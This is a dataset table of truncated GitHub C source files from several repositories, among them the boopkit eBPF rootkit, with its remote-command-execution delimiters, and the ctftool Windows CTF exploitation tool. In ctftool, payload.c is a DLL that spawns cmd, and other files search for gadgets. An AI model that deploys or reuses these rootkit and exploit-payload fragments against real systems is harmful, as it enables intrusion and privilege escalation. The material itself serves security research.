repo_full_name stringlengths 6 93 | repo_url stringlengths 25 112 | repo_api_url stringclasses 28
values | owner stringclasses 28
values | repo_name stringclasses 28
values | description stringclasses 28
values | stars int64 617 98.8k | forks int64 31 355 ⌀ | watchers int64 990 999 ⌀ | license stringclasses 2
values | default_branch stringclasses 2
values | repo_created_at timestamp[s]date 2012-07-24 23:12:50 2025-06-16 08:07:28 ⌀ | repo_updated_at timestamp[s]date 2026-02-23 15:23:15 2026-05-03 18:52:12 ⌀ | repo_topics listlengths 0 13 ⌀ | repo_languages unknown | is_fork bool 1
class | open_issues int64 3 104 ⌀ | file_path stringlengths 3 208 | file_name stringclasses 509
values | file_extension stringclasses 1
value | file_size_bytes int64 101 84k ⌀ | file_url stringclasses 627
values | file_raw_url stringclasses 627
values | file_sha stringclasses 624
values | language stringclasses 8
values | parsed_at stringdate 2026-05-04 01:12:36 2026-05-04 19:41:55 | text stringlengths 100 102k |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
krisnova/boopkit | https://github.com/krisnova/boopkit | null | null | null | null | 1,667 | null | null | apache-2.0 | null | null | null | null | null | null | null | boopkit.c | null | null | null | null | null | null | C | 2026-05-04T19:08:40.202649 | // Copyright © 2022 Kris Nóva <kris@nivenly.com>
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable l... |
krisnova/boopkit | https://github.com/krisnova/boopkit | null | null | null | null | 1,667 | null | null | apache-2.0 | null | null | null | null | null | null | null | boop/packets.c | null | null | null | null | null | null | C | 2026-05-04T19:08:40.204104 | // Copyright © 2022 Kris Nóva <kris@nivenly.com>
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable l... |
krisnova/boopkit | https://github.com/krisnova/boopkit | null | null | null | null | 1,667 | null | null | apache-2.0 | null | null | null | null | null | null | null | boop/packets.h | null | null | null | null | null | null | C | 2026-05-04T19:08:40.205035 | // Copyright © 2022 Kris Nóva <kris@nivenly.com>
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable l... |
krisnova/boopkit | https://github.com/krisnova/boopkit | null | null | null | null | 1,667 | null | null | apache-2.0 | null | null | null | null | null | null | null | dpi.c | null | null | null | null | null | null | C | 2026-05-04T19:08:40.205621 | // Copyright © 2022 Kris Nóva <kris@nivenly.com>
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable l... |
krisnova/boopkit | https://github.com/krisnova/boopkit | null | null | null | null | 1,667 | null | null | apache-2.0 | null | null | null | null | null | null | null | boopkit.h | null | null | null | null | null | null | C | 2026-05-04T19:08:40.218326 | // Copyright © 2022 Kris Nóva <kris@nivenly.com>
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable l... |
krisnova/boopkit | https://github.com/krisnova/boopkit | null | null | null | null | 1,667 | null | null | apache-2.0 | null | null | null | null | null | null | null | pr0be.boop.c | null | null | null | null | null | null | C | 2026-05-04T19:08:40.247272 | // Copyright © 2022 Kris Nóva <kris@nivenly.com>
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable l... |
krisnova/boopkit | https://github.com/krisnova/boopkit | null | null | null | null | 1,667 | null | null | apache-2.0 | null | null | null | null | null | null | null | common.c | null | null | null | null | null | null | C | 2026-05-04T19:08:40.315309 | // Copyright © 2022 Kris Nóva <kris@nivenly.com>
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable l... |
krisnova/boopkit | https://github.com/krisnova/boopkit | null | null | null | null | 1,667 | null | null | apache-2.0 | null | null | null | null | null | null | null | common.h | null | null | null | null | null | null | C | 2026-05-04T19:08:40.391152 | //
// Created by nova on 4/11/22.
//
#ifndef BOOPKIT_COMMON_H
#define BOOPKIT_COMMON_H
#define BOOPKIT_RCE_DELIMITER "X*x.x*X"
#define BOOPKIT_RCE_CMD_HALT "X*x.HALT.x*X"
extern int quiet;
// VERSION is the semantic version of the program
#define VERSION "1.4.0"
void asciiheader();
void boopprintf(const char *__re... |
krisnova/boopkit | https://github.com/krisnova/boopkit | null | null | null | null | 1,667 | null | null | apache-2.0 | null | null | null | null | null | null | null | pr0be.safe.c | null | null | null | null | null | null | C | 2026-05-04T19:08:40.746999 | // Copyright © 2022 Kris Nóva <kris@nivenly.com>
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable l... |
krisnova/boopkit | https://github.com/krisnova/boopkit | null | null | null | null | 1,667 | null | null | apache-2.0 | null | null | null | null | null | null | null | pr0be.xdp.c | null | null | null | null | null | null | C | 2026-05-04T19:08:40.845529 | // Copyright © 2022 Kris Nóva <kris@nivenly.com>
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable l... |
taviso/ctftool | https://github.com/taviso/ctftool | null | null | null | null | 1,666 | null | null | apache-2.0 | null | null | null | null | null | null | null | ctftool.c | null | null | null | null | null | null | C | 2026-05-04T19:08:43.433059 | #define WIN32_LEAN_AND_MEAN
#define WIN32_NO_STATUS
#include <windows.h>
#include <winternl.h>
#include <initguid.h>
#include <stdio.h>
#include <stdlib.h>
#include <msctf.h>
#undef WIN32_NO_STATUS
#include <ntstatus.h>
#include "ntdll.h"
#include "ntalpctyp.h"
#include "ntalpc.h"
#include "wineditline... |
taviso/ctftool | https://github.com/taviso/ctftool | null | null | null | null | 1,666 | null | null | apache-2.0 | null | null | null | null | null | null | null | ctfinternal.h | null | null | null | null | null | null | C | 2026-05-04T19:08:43.434675 | #ifndef __CTFINTERNAL_H
#define __CTFINTERNAL_H
#define MSGFLAG_COMMAND 0x000FFFFF
#define MSGFLAG_DOCUMENT 0x00100000
#define MSGFLAG_DATAVIEW 0x04000000
#define MSGFLAG_IMESERVER 0x08000000
#define MSGFLAG_CACHED_REPLY 0x20000000
#define MSGFLAG_DATA_APPENDED 0x80000000
enum {
M... |
taviso/ctftool | https://github.com/taviso/ctftool | null | null | null | null | 1,666 | null | null | apache-2.0 | null | null | null | null | null | null | null | command.c | null | null | null | null | null | null | C | 2026-05-04T19:08:43.443438 | #define WIN32_LEAN_AND_MEAN
#define WIN32_NO_STATUS
#include <windows.h>
#include <winternl.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#include <tlhelp32.h>
#include <psapi.h>
#include <assert.h>
#include <objbase.h>
#include <sddl.h>
#include <msctf.h>
#include <shlwapi.h>
#include <s... |
taviso/ctftool | https://github.com/taviso/ctftool | null | null | null | null | 1,666 | null | null | apache-2.0 | null | null | null | null | null | null | null | messages.h | null | null | null | null | null | null | C | 2026-05-04T19:08:43.444656 | #ifndef __MESSAGES_H
#define __MESSAGES_H
// The last thread message received.
// TODO: Locking.
extern MSG LastMsg;
DWORD WINAPI MessageHandlerThread(PVOID Parameter);
#endif
|
taviso/ctftool | https://github.com/taviso/ctftool | null | null | null | null | 1,666 | null | null | apache-2.0 | null | null | null | null | null | null | null | messages.c | null | null | null | null | null | null | C | 2026-05-04T19:08:43.445861 | #define WIN32_LEAN_AND_MEAN
#define WIN32_NO_STATUS
#include <windows.h>
#include <winternl.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#include <tlhelp32.h>
#include <psapi.h>
#include <assert.h>
#include <objbase.h>
#include <sddl.h>
#include <msctf.h>
#include <shlwapi.h>
#undef WIN32_NO_STATUS
#i... |
taviso/ctftool | https://github.com/taviso/ctftool | null | null | null | null | 1,666 | null | null | apache-2.0 | null | null | null | null | null | null | null | marshal.c | null | null | null | null | null | null | C | 2026-05-04T19:08:43.448648 | #define WIN32_LEAN_AND_MEAN
#define WIN32_NO_STATUS
#include <windows.h>
#include <winternl.h>
#include <objbase.h>
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>
#include <msctf.h>
#include <stdbool.h>
#undef WIN32_NO_STATUS
#include <ntstatus.h>
#include "ntdll.h"
#include "ntalpctyp.h"
#i... |
taviso/ctftool | https://github.com/taviso/ctftool | null | null | null | null | 1,666 | null | null | apache-2.0 | null | null | null | null | null | null | null | command.h | null | null | null | null | null | null | C | 2026-05-04T19:08:43.453101 | #ifndef __COMMAND_H
#define __COMMAND_H
#define MAX_PARAM 32
#define MAX_STUBS 32
#define MAX_BUF 8192
// We remember stub data so user only has to remember ID and thread.
typedef struct _STUB_RECORD {
DWORD ThreadId;
CTF_MARSHAL_COMSTUB Stub;
} STUB_RECORD, *PSTUB_RECORD;
typedef struct _COMMAN... |
taviso/ctftool | https://github.com/taviso/ctftool | null | null | null | null | 1,666 | null | null | apache-2.0 | null | null | null | null | null | null | null | commanddoc.h | null | null | null | null | null | null | C | 2026-05-04T19:08:43.454538 | #ifndef __COMMANDDOC_H
#define __COMMANDDOC_H
#define THREAD_PARAM_HELP \
"THREAD must be a client connected to the monitor, use \"scan\" to list\n" \
"available clients. However, if THREAD is the special value 0 then the\n" \
"default thread is u... |
taviso/ctftool | https://github.com/taviso/ctftool | null | null | null | null | 1,666 | null | null | apache-2.0 | null | null | null | null | null | null | null | ctftool.h | null | null | null | null | null | null | C | 2026-05-04T19:08:43.455435 | #ifndef __CTFTOOL_H
#define __CTFTOOL_H
HWND CreateMessageWindow();
NTSTATUS SendReceivePortMessage(HANDLE PortHandle,
PPORT_MESSAGE PortMessage,
ULONG BufferLength,
PLARGE_INTEGER Timeout);
NTSTATUS SendReceivePr... |
taviso/ctftool | https://github.com/taviso/ctftool | null | null | null | null | 1,666 | null | null | apache-2.0 | null | null | null | null | null | null | null | marshal.h | null | null | null | null | null | null | C | 2026-05-04T19:08:43.456744 | #ifndef __MARSHAL_H
#define __MARSHAL_H
PVOID MarshalParamsInsertData(PCTF_MARSHAL_PARAM Base,
ULONG Count,
ULONG Index,
DWORD TypeFlags,
PVOID Data,
SIZE_T Size... |
taviso/ctftool | https://github.com/taviso/ctftool | null | null | null | null | 1,666 | null | null | apache-2.0 | null | null | null | null | null | null | null | util.c | null | null | null | null | null | null | C | 2026-05-04T19:08:44.355236 | #define WIN32_LEAN_AND_MEAN
#define WIN32_NO_STATUS
#include <windows.h>
#include <winternl.h>
#include <stdio.h>
#include <stdlib.h>
#include <ctype.h>
#undef WIN32_NO_STATUS
#include <ntstatus.h>
#include "ntdll.h"
#include "util.h"
ULONG VerbosityLevel;
void hexdump(void *ptr, int buflen) {
unsi... |
taviso/ctftool | https://github.com/taviso/ctftool | null | null | null | null | 1,666 | null | null | apache-2.0 | null | null | null | null | null | null | null | ntalpc.h | null | null | null | null | null | null | C | 2026-05-04T19:08:44.356479 | /****************************************************************************
****************************************************************************
***
*** This header was created to make information necessary for userspace
*** to call into the Windows kernel available to Dr. Memory. It contains
*** ... |
taviso/ctftool | https://github.com/taviso/ctftool | null | null | null | null | 1,666 | null | null | apache-2.0 | null | null | null | null | null | null | null | winmsg.c | null | null | null | null | null | null | C | 2026-05-04T19:08:44.357489 | #define WIN32_LEAN_AND_MEAN
#define WIN32_NO_STATUS
#include <windows.h>
#include <winternl.h>
#include <stdio.h>
#include <stdlib.h>
#include <msctf.h>
#undef WIN32_NO_STATUS
#include <ntstatus.h>
#include "ntdll.h"
#include "ntalpctyp.h"
#include "ntalpc.h"
#include "ctfinternal.h"
#include "ctftool.... |
taviso/ctftool | https://github.com/taviso/ctftool | null | null | null | null | 1,666 | null | null | apache-2.0 | null | null | null | null | null | null | null | payload.c | null | null | null | null | null | null | C | 2026-05-04T19:08:44.358356 | #include <windows.h>
#pragma comment(lib, "USER32")
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
CHAR Command[] = "cmd";
CHAR ModulePath[MAX_PATH];
CHAR ModuleName[MAX_PATH];
STARTUPINFO si;
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(si));
ZeroMemory(... |
taviso/ctftool | https://github.com/taviso/ctftool | null | null | null | null | 1,666 | null | null | apache-2.0 | null | null | null | null | null | null | null | module.c | null | null | null | null | null | null | C | 2026-05-04T19:08:44.358893 | #include <windows.h>
#include <winternl.h>
#include <stdio.h>
#include <stdbool.h>
#include <psapi.h>
#include <shlwapi.h>
#include "util.h"
// Look, it works good enough. What other option is there, the Russinovich
// trick of extracting an embedded image?????
#ifdef _WIN64
// If you are trying to make this 64bit, ... |
taviso/ctftool | https://github.com/taviso/ctftool | null | null | null | null | 1,666 | null | null | apache-2.0 | null | null | null | null | null | null | null | tools/cursorpos.c | null | null | null | null | null | null | C | 2026-05-04T19:08:44.365722 | #include <windows.h>
#include <stdio.h>
#include <stdbool.h>
#pragma comment(lib, "USER32")
int main(int argc, char **argv)
{
POINT Point;
while (true) {
Sleep(1000);
GetCursorPos(&Point);
fprintf(stdout, "%#x x %#x\n", Point.x, Point.y);
}
}
|
taviso/ctftool | https://github.com/taviso/ctftool | null | null | null | null | 1,666 | null | null | apache-2.0 | null | null | null | null | null | null | null | tools/consent.c | null | null | null | null | null | null | C | 2026-05-04T19:08:44.366320 | #include <windows.h>
#include <stdio.h>
#include <stdbool.h>
#pragma comment(lib, "SHELL32")
int main(int argc, char **argv)
{
ShellExecute(NULL, "runas", "cmd", 0, 0, SW_SHOWNORMAL);
}
|
taviso/ctftool | https://github.com/taviso/ctftool | null | null | null | null | 1,666 | null | null | apache-2.0 | null | null | null | null | null | null | null | winutil.c | null | null | null | null | null | null | C | 2026-05-04T19:08:44.366921 | #define WIN32_LEAN_AND_MEAN
#define WIN32_NO_STATUS
#include <windows.h>
#include <winternl.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#include <tlhelp32.h>
#include <psapi.h>
#include <assert.h>
#include <objbase.h>
#include <sddl.h>
#include <msctf.h>
#include <shlwapi.h>
#undef WIN32_NO_STATUS
#i... |
taviso/ctftool | https://github.com/taviso/ctftool | null | null | null | null | 1,666 | null | null | apache-2.0 | null | null | null | null | null | null | null | ntalpctyp.h | null | null | null | null | null | null | C | 2026-05-04T19:08:44.386236 | /****************************************************************************
****************************************************************************
***
*** This header was created to make information necessary for userspace
*** to call into the Windows kernel available to Dr. Memory. It contains
*** ... |
taviso/ctftool | https://github.com/taviso/ctftool | null | null | null | null | 1,666 | null | null | apache-2.0 | null | null | null | null | null | null | null | util.h | null | null | null | null | null | null | C | 2026-05-04T19:08:44.386829 | #ifndef __UTIL_H
#define __UTIL_H
extern ULONG VerbosityLevel;
#define LogMessage(s, f, ...) fprintf(s, f, __VA_ARGS__), fputc('\n', s)
#define LogMessageLevel(l, s, f, ...) do { \
if ((l) >= VerbosityLevel) { \
fprintf(s, f, __VA_ARGS__); \
fpu... |
taviso/ctftool | https://github.com/taviso/ctftool | null | null | null | null | 1,666 | null | null | apache-2.0 | null | null | null | null | null | null | null | winutil.h | null | null | null | null | null | null | C | 2026-05-04T19:08:45.091808 | #ifndef __WINUTIL_H
#define __WINUTIL_H
BOOL GetActiveThreadInfo(PDWORD ThreadId, HWND *Window, PDWORD ProcessId);
DWORD GetFocusThread(void);
PVOID QueryImageName(DWORD ProcessId);
UINT64 QueryModuleHandle64(PCHAR Module);
UINT64 QueryModuleHandle32(PCHAR Module);
INT64 FindGadgetOffset(PCHAR Module, PCHAR Gadget, SI... |
kenzok8/small-package | https://github.com/kenzok8/small-package | null | null | null | null | 1,640 | null | null | apache-2.0 | null | null | null | null | null | null | null | MentoHUST-OpenWrt-ipk/src/dlfunc.h | null | null | null | null | null | null | C | 2026-05-04T19:09:03.165700 | /* -*- Mode: C; tab-width: 4; -*- */
/*
* 文件名称:dlfunc.h
* 摘 要:动态载入库函数
*/
#ifndef HUSTMOON_DLFUNC_H
#define HUSTMOON_DLFUNC_H
#ifdef HAVE_CONFIG_H
#include "config.h"
#endif
#include <stdio.h>
#include <sys/time.h>
#define PCAP_ERRBUF_SIZE 256
#define PCAP_IF_LOOPBACK 0x00000001
typedef unsigned int bpf_u_int32;
type... |
kenzok8/small-package | https://github.com/kenzok8/small-package | null | null | null | null | 1,640 | null | null | apache-2.0 | null | null | null | null | null | null | null | MentoHUST-OpenWrt-ipk/src/mentohust.c | null | null | null | null | null | null | C | 2026-05-04T19:09:03.176666 | /* -*- Mode: C; tab-width: 4; -*- */
/*
* Copyright (C) 2009, HustMoon Studio
*
* 文件名称:mentohust.c
* 摘 要:MentoHUST主函数
* 作 者:HustMoon@BYHH
* 邮 箱:www.ehust@gmail.com
*/
#include "strnormalize.h"
#include "myconfig.h"
#include "mystate.h"
#include "myfunc.h"
#include "dlfunc.h"
#include <signal.h>
#include <string.h>
#... |
kenzok8/small-package | https://github.com/kenzok8/small-package | null | null | null | null | 1,640 | null | null | apache-2.0 | null | null | null | null | null | null | null | MentoHUST-OpenWrt-ipk/src/mycheck.h | null | null | null | null | null | null | C | 2026-05-04T19:09:03.177344 | /* -*- Mode: C; tab-width: 4; -*- */
/*
* Copyright (C) 2009, HustMoon Studio
*
* 文件名称:mycheck.h
* 摘 要:客户端校验算法
* 作 者:kkHAIKE
*/
#ifndef MYCHECK_H
#define MYCHECK_H
#include "types.h"
typedef struct _IMAGE_DOS_HEADER { // DOS .EXE header
WORD e_magic; // Magic number
WORD e_cblp; // Bytes on last page of file... |
kenzok8/small-package | https://github.com/kenzok8/small-package | null | null | null | null | 1,640 | null | null | apache-2.0 | null | null | null | null | null | null | null | MentoHUST-OpenWrt-ipk/src/md5.c | null | null | null | null | null | null | C | 2026-05-04T19:09:03.190701 | /* MD5.c - an implementation of md5 algorithm */
/* Copyright (C) 1991-2, RSA Data Security, Inc. Created 1991. All
rights reserved.
License to copy and use this software is granted provided that it
is identified as the "RSA Data Security, Inc. MD5 Message-Digest
Algorithm" in all material mentioning or referencing t... |
kenzok8/small-package | https://github.com/kenzok8/small-package | null | null | null | null | 1,640 | null | null | apache-2.0 | null | null | null | null | null | null | null | MentoHUST-OpenWrt-ipk/src/md5.h | null | null | null | null | null | null | C | 2026-05-04T19:09:03.200040 | /* MD5.H - header file for MD5.C */
/*
Copyright (C) 1991-2, RSA Data Security, Inc. Created 1991. All
rights reserved.
License to copy and use this software is granted provided that it
is identified as the "RSA Data Security, Inc. MD5 Message-Digest
Algorithm" in all material mentioning or referencing this software
... |
kenzok8/small-package | https://github.com/kenzok8/small-package | null | null | null | null | 1,640 | null | null | apache-2.0 | null | null | null | null | null | null | null | MentoHUST-OpenWrt-ipk/src/myfunc.c | null | null | null | null | null | null | C | 2026-05-04T19:09:03.201198 | /* -*- Mode: C; tab-width: 4; -*- */
/*
* Copyright (C) 2009, HustMoon Studio
*
* 文件名称:myfunc.c
* 摘 要:认证相关算法及方法
* 作 者:HustMoon@BYHH
*/
#include "myfunc.h"
#include "md5.h"
#include "mycheck.h"
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <netinet/in.h>
#include <unistd.h>
#include <sys/socket.h>
... |
kenzok8/small-package | https://github.com/kenzok8/small-package | null | null | null | null | 1,640 | null | null | apache-2.0 | null | null | null | null | null | null | null | MentoHUST-OpenWrt-ipk/src/myconfig.h | null | null | null | null | null | null | C | 2026-05-04T19:09:03.214092 | /*
* Copyright (C) 2009, HustMoon Studio
*
* 文件名称:myconfig.h
* 摘 要:初始化认证参数
* 作 者:HustMoon@BYHH
*/
#ifndef HUSTMOON_MYCONFIG_H
#define HUSTMOON_MYCONFIG_H
void initConfig(int argc, char **argv); /* 初始化配置 */
#endif
|
kenzok8/small-package | https://github.com/kenzok8/small-package | null | null | null | null | 1,640 | null | null | apache-2.0 | null | null | null | null | null | null | null | MentoHUST-OpenWrt-ipk/src/dlfunc.c | null | null | null | null | null | null | C | 2026-05-04T19:09:03.215045 | /* -*- Mode: C; tab-width: 4; -*- */
/*
* Copyright (C) 2009, HustMoon Studio
*
* 文件名称:dlfunc.c
* 摘 要:动态载入库函数
* 作 者:HustMoon@BYHH
* 邮 箱:www.ehust@gmail.com
* 日 期:2009.11.11
*/
#include "dlfunc.h"
#ifndef NO_DYLOAD
#include <dlfcn.h>
int (*pcap_findalldevs)(pcap_if_t **, char *);
void (*pcap_freealldevs)(pcap_if_t *);... |
kenzok8/small-package | https://github.com/kenzok8/small-package | null | null | null | null | 1,640 | null | null | apache-2.0 | null | null | null | null | null | null | null | MentoHUST-OpenWrt-ipk/src/myconfig.c | null | null | null | null | null | null | C | 2026-05-04T19:09:03.238621 | /* -*- Mode: C; tab-width: 4; -*- */
/*
* Copyright (C) 2009, HustMoon Studio
*
* 文件名称:myconfig.c
* 摘 要:初始化认证参数
* 作 者:HustMoon@BYHH
* 邮 箱:www.ehust@gmail.com
*/
#ifdef HAVE_CONFIG_H
#include "config.h"
#else
static const char *VERSION = "0.3.1";
static const char *PACKAGE_BUGREPORT = "http://code.google.com/p/mentohust... |
kenzok8/small-package | https://github.com/kenzok8/small-package | null | null | null | null | 1,640 | null | null | apache-2.0 | null | null | null | null | null | null | null | MentoHUST-OpenWrt-ipk/src/mycheck.c | null | null | null | null | null | null | C | 2026-05-04T19:09:03.270897 | /* -*- Mode: C; tab-width: 4; -*- */
/*
* Copyright (C) 2009, HustMoon Studio
*
* 文件名称:mycheck.c
* 摘 要:客户端校验算法
* 作 者:kkHAIKE & HustMoon
*/
#include "mycheck.h"
#include "md5.h"
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
static BYTE *bin_8021x = NULL;
static DWORD size_8021x;
static BYTE hex[][17]={"012... |
kenzok8/small-package | https://github.com/kenzok8/small-package | null | null | null | null | 1,640 | null | null | apache-2.0 | null | null | null | null | null | null | null | MentoHUST-OpenWrt-ipk/src/myfunc.h | null | null | null | null | null | null | C | 2026-05-04T19:09:03.766193 | /*
* Copyright (C) 2009, HustMoon Studio
*
* 文件名称:myfunc.h
* 摘 要:认证相关算法及方法
* 作 者:HustMoon@BYHH
*/
#ifndef HUSTMOON_MYFUNC_H
#define HUSTMOON_MYFUNC_H
#include <sys/types.h>
char *formatIP(u_int32_t ip); /* 格式化IP */
char *formatHex(const void *buf, int length); /* 格式化成十六进制形式 */
void newBuffer(); /* 检测数据文件有效性并分配内存 */
i... |
kenzok8/small-package | https://github.com/kenzok8/small-package | null | null | null | null | 1,640 | null | null | apache-2.0 | null | null | null | null | null | null | null | MentoHUST-OpenWrt-ipk/src/myini.h | null | null | null | null | null | null | C | 2026-05-04T19:09:03.767230 | /* -*- Mode: C; tab-width: 4; -*- */
/*
* Copyright (C) 2009, HustMoon Studio
*
* 文件名称:myini.h
* 摘 要:读取ini文件+写入ini文件
* 作 者:HustMoon@BYHH
* 修 改:2009.10.8
*/
#ifndef HUSTMOON_MYINI_H
#define HUSTMOON_MYINI_H
#include <stdlib.h> /* for free() */
#ifdef __cplusplus
extern "C"
{
#endif
char *loadFile(const char *fileName... |
kenzok8/small-package | https://github.com/kenzok8/small-package | null | null | null | null | 1,640 | null | null | apache-2.0 | null | null | null | null | null | null | null | MentoHUST-OpenWrt-ipk/src/myini.c | null | null | null | null | null | null | C | 2026-05-04T19:09:03.784747 | /* -*- Mode: C; tab-width: 4; -*- */
/*
* Copyright (C) 2009, HustMoon Studio
*
* 文件名称:myini.c
* 摘 要:读取ini文件+写入ini文件
* 作 者:HustMoon@BYHH
* 修 改:2009.10.8
*/
#include "myini.h"
#include <stdio.h>
#include <string.h>
#define NOT_COMMENT(c) (c!=';' && c!='#') /* 不是注释行 */
#ifndef strnicmp
#define strnicmp strncasecmp
#end... |
kenzok8/small-package | https://github.com/kenzok8/small-package | null | null | null | null | 1,640 | null | null | apache-2.0 | null | null | null | null | null | null | null | MentoHUST-OpenWrt-ipk/src/types.h | null | null | null | null | null | null | C | 2026-05-04T19:09:03.864595 | #ifndef TYPES_H
#define TYPES_H
typedef unsigned char *POINTER;
typedef unsigned char BYTE;
typedef unsigned char UCHAR;
typedef unsigned short int WORD;
typedef int LONG;
typedef unsigned int DWORD;
typedef unsigned int UINT4;
#endif
|
kenzok8/small-package | https://github.com/kenzok8/small-package | null | null | null | null | 1,640 | null | null | apache-2.0 | null | null | null | null | null | null | null | MentoHUST-OpenWrt-ipk/src/mystate.c | null | null | null | null | null | null | C | 2026-05-04T19:09:03.866932 | /* -*- Mode: C; tab-width: 4; -*- */
/*
* Copyright (C) 2009, HustMoon Studio
*
* 文件名称:mystate.c
* 摘 要:改变认证状态
* 作 者:HustMoon@BYHH
* 邮 箱:www.ehust@gmail.com
*/
#include "mystate.h"
#include "myfunc.h"
#include "dlfunc.h"
#include <string.h>
#include <stdlib.h>
#include <netinet/in.h>
#define MAX_SEND_COUNT 3 /* 最大超时次数... |
kenzok8/small-package | https://github.com/kenzok8/small-package | null | null | null | null | 1,640 | null | null | apache-2.0 | null | null | null | null | null | null | null | MentoHUST-OpenWrt-ipk/src/mystate.h | null | null | null | null | null | null | C | 2026-05-04T19:09:03.868076 | /*
* Copyright (C) 2009, HustMoon Studio
*
* 文件名称:mystate.h
* 摘 要:改变认证状态
* 作 者:HustMoon@BYHH
*/
#ifndef HUSTMOON_MYSTATE_H
#define HUSTMOON_MYSTATE_H
#define ID_DISCONNECT 0 /* 断开状态 */
#define ID_START 1 /* 寻找服务器 */
#define ID_IDENTITY 2 /* 发送用户名 */
#define ID_CHALLENGE 3 /* 发送密码 */
#define ID_ECHO 4 /* 发送心跳包... |
kenzok8/small-package | https://github.com/kenzok8/small-package | null | null | null | null | 1,640 | null | null | apache-2.0 | null | null | null | null | null | null | null | MentoHUST-OpenWrt-ipk/src/strnormalize.h | null | null | null | null | null | null | C | 2026-05-04T19:09:03.868798 | /**
* Copyright(c) 2012-2013, All Rights Reserved.
*
* @file strnormalize.h
* @details Check GBK character you could do
* code >= 0x8000 && _pGbk2Utf16[code - 0x8000] != 0
* @author cnangel
* @version 1.0.0
* @date 2012/10/09 11:44:58
*/
#ifndef __STRNORMALIZE_H__
#define __STRNORMALIZE_H__
#ifdef __cplu... |
kenzok8/small-package | https://github.com/kenzok8/small-package | null | null | null | null | 1,640 | null | null | apache-2.0 | null | null | null | null | null | null | null | UA2F/src/cache.c | null | null | null | null | null | null | C | 2026-05-04T19:09:03.898407 | #include "cache.h"
#include "third/uthash/uthash.h"
#include <pthread.h>
#include <stdbool.h>
#include <sys/syslog.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
pthread_rwlock_t cacheLock;
struct cache *not_http_dst_cache = NULL;
static int check_interval;
_Noreturn static void* c... |
kenzok8/small-package | https://github.com/kenzok8/small-package | null | null | null | null | 1,640 | null | null | apache-2.0 | null | null | null | null | null | null | null | UA2F/src/backtrace.h | null | null | null | null | null | null | C | 2026-05-04T19:09:03.954423 | #ifndef UA2F_BACKTRACE_H
#define UA2F_BACKTRACE_H
#ifdef UA2F_ENABLE_BACKTRACE
#include <backtrace.h>
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <string.h>
static void error_callback(void *data, const char *msg, int errnum) {
fprintf(stderr, "libbacktrace error: %s (errno: %d)\n", msg, er... |
kenzok8/small-package | https://github.com/kenzok8/small-package | null | null | null | null | 1,640 | null | null | apache-2.0 | null | null | null | null | null | null | null | UA2F/src/cli.c | null | null | null | null | null | null | C | 2026-05-04T19:09:04.383395 | #include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/syslog.h>
#include <unistd.h>
#include "cli.h"
#include "config.h"
void startup_message() {
syslog(LOG_INFO, "UA2F version: %s", UA2F_VERSION);
syslog(LOG_INFO, "Git commit: %s", UA2F_GIT_COMMIT);
syslog(LOG_INFO, "Git branch: %s", ... |
kenzok8/small-package | https://github.com/kenzok8/small-package | null | null | null | null | 1,640 | null | null | apache-2.0 | null | null | null | null | null | null | null | UA2F/src/cache.h | null | null | null | null | null | null | C | 2026-05-04T19:09:04.426173 | #ifndef UA2F_CACHE_H
#define UA2F_CACHE_H
#include <stdbool.h>
#include <time.h>
#include <pthread.h>
#include "third/nfqueue-mnl/nfqueue-mnl.h"
#include "third/uthash/uthash.h"
struct addr_port {
ip_address_t addr;
uint16_t port;
};
struct cache {
struct addr_port target;
time_t last_time;
UT_h... |
kenzok8/small-package | https://github.com/kenzok8/small-package | null | null | null | null | 1,640 | null | null | apache-2.0 | null | null | null | null | null | null | null | UA2F/src/cli.h | null | null | null | null | null | null | C | 2026-05-04T19:09:04.451257 | #ifndef UA2F_CLI_H
#define UA2F_CLI_H
#include "custom.h"
#ifndef UA2F_GIT_COMMIT
#define UA2F_GIT_COMMIT "unknown"
#endif
#ifndef UA2F_GIT_BRANCH
#define UA2F_GIT_BRANCH "unknown"
#endif
#ifndef UA2F_GIT_TAG
#define UA2F_GIT_TAG "unknown"
#endif
#ifndef UA2F_VERSION
#define UA2F_VERSION "unknown"
#endif
void try... |
